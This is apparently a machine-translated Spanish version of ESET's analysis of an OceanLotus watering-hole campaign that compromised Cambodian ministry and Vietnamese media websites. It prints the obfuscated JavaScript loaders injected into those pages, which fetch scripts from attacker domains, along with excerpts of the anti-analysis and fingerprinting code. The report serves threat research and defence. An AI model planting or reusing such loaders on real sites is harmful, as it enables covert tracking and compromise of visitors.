OceanLotus: ataque a un pozo de agua en el sudeste asiático

Los especialistas de ESET analizaron la nueva campaña de abrevaderos, que apunta a múltiples sitios en el sudeste asiático. Supuestamente, los atacantes han estado operando desde principios de septiembre de 2018. La campaña es diferente en escala: logramos descubrir 21 recursos comprometidos, incluidos los sitios web del Ministerio de Defensa de Camboya, el Ministerio de Relaciones Exteriores y Cooperación Internacional de Camboya, así como varios periódicos y blogs vietnamitas.


Según el análisis, descubrimos que la campaña la lleva a cabo el grupo OceanLotus , también conocido como ART32 y ART-S-00. El grupo ha estado operando desde al menos 2012 y se especializa en ciberespionaje, con un interés particular en agencias gubernamentales y disidentes.

La campaña parece ser una evolución del esquema de pozos de agua OceanLotus, que los investigadores de Volexity documentaron en 2017 bajo el nombre de Marco B. Desde el año pasado, el grupo cibernético aprendió a dificultar el análisis de sus marcos maliciosos. Entre otras mejoras, notamos el uso del cifrado de clave pública para intercambiar la clave de sesión AES. El método se utiliza para cifrar el intercambio de datos que no permite que los productos de seguridad intercepten la carga útil final. Además, los atacantes cambiaron de HTTP a WebSocket para ocultar el intercambio de datos maliciosos.

Cada uno de los sitios comprometidos descubiertos por los expertos de ESET redirigió a los visitantes a un dominio separado controlado por OceanLotus.

La siguiente imagen muestra las regiones objetivo de la campaña.


Figura 1. Geografía de sitios comprometidos

Los dominios más comprometidos son los medios de comunicación o están relacionados con el gobierno de Camboya. La siguiente es una lista de víctimas. Les advertimos sobre comprometerse en octubre, pero a fines de 2018, los scripts maliciosos permanecieron en algunos sitios:

- baotgm [.] Net - Medios de comunicación vietnamitas (sede en Arlington, Texas)
- cnrp7 [.] Org - Sitio web del Partido de Salvación Nacional de Camboya
- conggiaovietnam [.] Net - contenido religioso en vietnamita
- daichungvienvinhthanh [.] Com - contenido religioso en vietnamita
- información danchimviet [.] - medios vietnamitas
- danviet [.] Vn - medios vietnamitas
- danviethouston [.] Com - medios vietnamitas
- fvpoc [.] Org - Organización pública vietnamita
- gardencityclub [.] Com - sitio del club de golf en Phnom Penh, Camboya
- lienketqnhn [.] Org - Medios vietnamitas
- mfaic.gov [.] Kh - Ministerio de Relaciones Exteriores y Cooperación Internacional de Camboya
- mod.gov [.] Kh - Ministerio de Defensa de Camboya
- mtgvinh [.] Net - contenido religioso en vietnamita
- nguoitieudung.com [.] Vn - Medios vietnamitas
- phnompenhpost [.] Com - Medios camboyanos en inglés
- raovatcalitoday [.] Com - sitio en vietnamita
- thongtinchongphandong [.] Com - medios de oposición en vietnamita
- tinkhongle [.] Com - medios vietnamitas
- toithichdoc.blogspot [.] Com - Blog vietnamita
- trieudaiviet [.] Com - sitio en vietnamita
- triviet [.] News - Medios de comunicación vietnamitas

En los ataques a los pozos de agua, los atacantes generalmente comprometen sitios que con frecuencia son visitados por víctimas potenciales. Sin embargo, en esta campaña, el grupo OceanLotus comprometió varios sitios populares. A continuación se muestra una lista de sitios comprometidos y su clasificación de Alexa : global y en el país donde el sitio es más popular. Por ejemplo, el sitio web del periódico Dan Viet (danviet [.] Vn) a fines de 2018 estaba en la línea 116 en términos de asistencia en Vietnam.

- Danviet [.] Vn - 12 887/116
- phnompenhpost [.] Com - 85910/18 880
- nguoitieudung.com [.] Vn - 261 801/2 397
- información danchimviet [.] - 287 852/144 884
- baotgm [.] Net - 675 669/119 737
- toithichdoc.blogspot [.] Com - 700470/11532
- mfaic.gov [.] Kh - 978 165/2 149
- conggiaovietnam [.] Net - 1,040 548/15 368
- thongtinchongphandong [.] Com - 1 134 691/21 575
- tinkhongle [.] Com - 1 301 722/15 224
- daichungvienvinhthanh [.] Com - 1.778.418 / 23.428
- mod.gov [.] Kh - 4,247,649 / 3,719

Análisis


Para todos los sitios comprometidos, se utilizaron métodos similares. Los atacantes agregaron un pequeño fragmento de código JavaScript a la página principal o a un archivo JavaScript publicado en el mismo servidor. Un fragmento de código ligeramente ofuscado (ver más abajo) carga otro script desde un servidor controlado por el atacante. A continuación se incluye un fragmento de JavaScript en https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js , que descarga el archivo desde https://weblink.selfip[.]info/images/cdn.js?from=maxcdn .

 (function() { var pt = "http"; var l = document.createElement('script'); l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn'; document.getElementsByTagName('body')[0].appendChild(l) })('web', 'a', 'link', '.self'); 

Para evitar ser detectados, los atacantes tomaron las siguientes medidas:

- Ofuscan las secuencias de comandos para evitar que se asignen URL finales estáticas
- La URL se parece a la biblioteca de JavaScript real utilizada por el sitio
- Para cada sitio comprometido, se utiliza un dominio y URI separados.
- Todos los sitios comprometidos tienen diferentes scripts. El siguiente es un script que se está implementando en uno de los sitios comprometidos:

 var script = document.createElement("script"); var i = 'crash-course'; var s = "fzgbc knowsztall znfo"; var _ = '/'; var e = "VisitorIdentification.js?sa=" + i; script.async = true; script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e; var doc = document.getElementsByTagName('script')[0]; doc.parentNode.insertBefore(script, doc); 

Primera etapa


Según la ubicación de la dirección IP del visitante, el servidor de la primera etapa (por ejemplo, weblink.selfip[.]info for mfaic.gov[.]kh ) transmite un script falso (biblioteca JavaScript legítima aleatoria) o un script de la primera etapa (por ejemplo, SHA- 1: 2194271C7991D60AE82436129D7F25C0A689050A). No todos los servidores realizan comprobaciones de ubicación, pero si hay uno, solo los visitantes de Vietnam y Camboya reciben un script malicioso.

El script de la primera etapa tiene varias comprobaciones para evitar la detección, como se muestra a continuación.

 […] function t(n) { var r = this; !function (t, n) { if (!(t instanceof n)) throw new TypeError('Cannot call a class as a function'); }(this, t), this.t = { o: null, s: !0 }, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () { ri || r.scr && !rts && (r.scr = !1, rc(n)), ri = !1; }); } return t.prototype.r = function () { var t = this; setInterval(function () { var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal'; r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (tts = !1, tto = null) : (tts = !0, tto = e); }, 500); } […] 

El guión espera hasta que la víctima se desplaza a la página. También verifica la resolución de la ventana y si Firebug, un complemento basado en navegador para analizar páginas web, está habilitado. Si al menos una de las verificaciones falla, la ejecución finaliza.

Luego descifra el dominio del servidor de comando C&C usando un algoritmo personalizado. Por ejemplo, 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 significa wss://tcog.thruhere[.]net . Para cada dominio de la primera etapa, los atacantes registraron adicionalmente el dominio de la segunda etapa, y todos están ubicados en diferentes servidores. El siguiente código es el equivalente de la función de descifrado escrita en Python.

 def decrypt(encrypted_url): s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2)) 

Después de descifrar la dirección de C&C, el script envía una cadena única de 15 dígitos y luego recibe y ejecuta el script de la segunda etapa. El intercambio de datos se realiza a través de WebSocket o SSL. El protocolo proporciona comunicación bidireccional simultánea entre el cliente y el servidor. Esto significa que después de que un cliente establece una conexión, el servidor puede enviar datos al cliente incluso sin una solicitud. Sin embargo, en un caso particular, el protocolo se usa principalmente para evitar la detección.

Segunda etapa


El guión de la segunda etapa es para el reconocimiento. Los desarrolladores de OceanLotus utilizaron la biblioteca fingerprintjs2 de Valve, disponible en GitHub , con pequeños cambios, agregando el uso compartido de red y creando un informe especial.

La siguiente figura muestra las diversas acciones realizadas por el script. La comunicación se realiza a través de una sesión de WebSocket que comenzó con el primer paso.


Figura 2. Esquema de la segunda etapa de la carga útil.

La comunicación se cifra utilizando la clave de sesión AES generada por el servidor. Se cifra con una clave pública RSA de 1024 bits y se envía al cliente, por lo que no es posible descifrar el intercambio de datos entre el cliente y el servidor.

En comparación con las versiones anteriores del marco del abrevadero OceanLotus, es más difícil protegerse de esto porque la transmisión de datos a través de la red no se puede detectar ni descifrar. Esto evita el descubrimiento de datos en la red. La clave pública transmitida por el servidor no cambia y se enumera en la sección IoC.

El script de reconocimiento crea un informe similar al siguiente y lo envía al servidor C&C de la segunda etapa.

 { "history": { "client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-", "client_url": "https://www.mfaic.gov.kh/", "client_cookie": "", "client_hash": "", "client_referrer": "https://www.mfaic.gov.kh/foreign-ngos", "client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36", "client_time": "2018-10-21T12:43:25.254Z", "timezone": "Asia/Bangkok", "client_network_ip_list": [ "192.168.xx", "xxxx" ], "client_api": "wss://tcog.thruhere.net/", "client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7", "client_uuid": "a612cdb028e1571dcab18e4aa316da26" }, "navigator": { "plugins": { "activex": false, "cors": true, "flash": false, "java": false, "foxit": true, "phonegap": false, "quicktime": false, "realplayer": false, "silverlight": false, "touch": false, "vbscript": false, "vlc": false, "webrtc": true, "wmp": false }, "_screen": { "width": 1920, "height": 1080, "availWidth": 1920, "availHeight": 1080, "resolution": "1920x1080" }, "_plugins": [ [...] 

Este informe es casi idéntico al otro generado por OceanLotus Framework B , documentado por Volexity en 2017. Sus secciones son similares y contienen errores tipográficos idénticos. Debido a esta similitud y ubicación de los objetivos, podemos decir con un alto grado de certeza que OceanLotus está llevando a cabo la campaña.

El informe generado contiene información detallada sobre el navegador de la víctima y el sitio visitado: agente de usuario, encabezado de solicitud de referencia HTTP, dirección IP local y externa, complementos y configuración de idioma del navegador.

Además, cada máquina tiene dos identificadores únicos: client_zuuid y client_uuid . Pueden usarse para identificar usuarios y rastrear sus visitas. Estos identificadores estaban realmente presentes en la versión 2017 del marco, y client_uuid se calculó de manera similar.

El valor de client_zuuid es la concatenación de los diversos valores de deviceId contenidos en navigator.mediaDevices.enumerateDevices. Los dispositivos son dispositivos externos a los que el navegador tiene acceso, como cámaras y micrófonos. Por lo tanto, el valor para un usuario debe coincidir durante diferentes visitas desde la misma computadora.

El valor de client_uuid es el hash MD5 de las huellas digitales asignadas por fingerprintjs2. Los datos recopilados incluyen el agente de usuario del navegador, el idioma, la zona horaria, los complementos del navegador y las fuentes accesibles para el navegador. Y nuevamente: el valor debe ser idéntico para todas las visitas, solo si, por ejemplo, el usuario no actualiza el navegador o no inicia sesión desde otro dispositivo.

Finalmente, el servidor puede enviar código JavaScript adicional a la computadora de la víctima, quizás este es el componente entregado. Desafortunadamente, debido al uso de la clave de sesión AES para descifrar el intercambio de datos, no pudimos determinar qué componente entregan los intrusos en las muestras en libertad. Además, la carga útil se entrega solo a ciertas víctimas. Por lo tanto, al usar una máquina de prueba, no pudimos obtenerlos. Sin embargo, según informes anteriores, las campañas de abrevaderos de OceanLotus están dirigidas al phishing. Por ejemplo, Volexity en un informe escribió que los usuarios vieron una ventana emergente pidiéndoles que autorizaran el acceso a través del protocolo abierto OAuth a la cuenta de Google de la víctima para la aplicación Google OceanLotus. Con esta técnica, los atacantes pueden acceder a los contactos y correos electrónicos de la víctima.

Infraestructura de red


Para un trabajo encubierto máximo, los operadores de OceanLotus registraron un dominio para la primera y segunda etapa para cada uno de los sitios comprometidos. Cada dominio está alojado en un servidor separado con su propia dirección IP. Al menos 50 dominios y 50 servidores están registrados para esta campaña.

La mayoría de los dominios de la primera etapa están registrados en servicios con nombres de dominio gratuitos, dominios de la segunda etapa, principalmente en los pagos. Entre otras cosas, sus nombres se disfrazan de legítimos. A continuación se muestra una lista de servicios que los atacantes intentaron copiar: C&C y un dominio legítimo, respectivamente:

- cdn-ampproject [.] Com / cdn.ampproject.com
- bootstraplink [.] Com / getbootstrap.com
- sskimresources [.] Com / s.skimresources.com
- widgets-wp [.] Com / widgets.wp.com

La cantidad de dominios utilizados y su similitud con sitios legítimos pueden complicar la detección por parte de una persona que ve el tráfico de la red.

Conclusión


A pesar de la atención de los investigadores de seguridad, OceanLotus continúa atacando con éxito objetivos en el sudeste asiático. Además, el grupo mejora sus herramientas al incluir en su arsenal un marco para ataques de abrevaderos, un malware para Windows y macOS. Las actualizaciones recientes del marco discutidas en este informe indican que los atacantes han mejorado sus habilidades.

Para limitar el número de posibles víctimas, notificamos a los propietarios de los sitios comprometidos y les explicamos cómo eliminar el código JavaScript malicioso. Sin embargo, algunos de ellos no mostraron voluntad de aceptar información y asistencia.

Los investigadores de ESET continuarán monitoreando el desarrollo del grupo OceanLotus. Los indicadores de compromiso se pueden encontrar en GitHub .

Source: https://habr.com/ru/post/es436136/


All Articles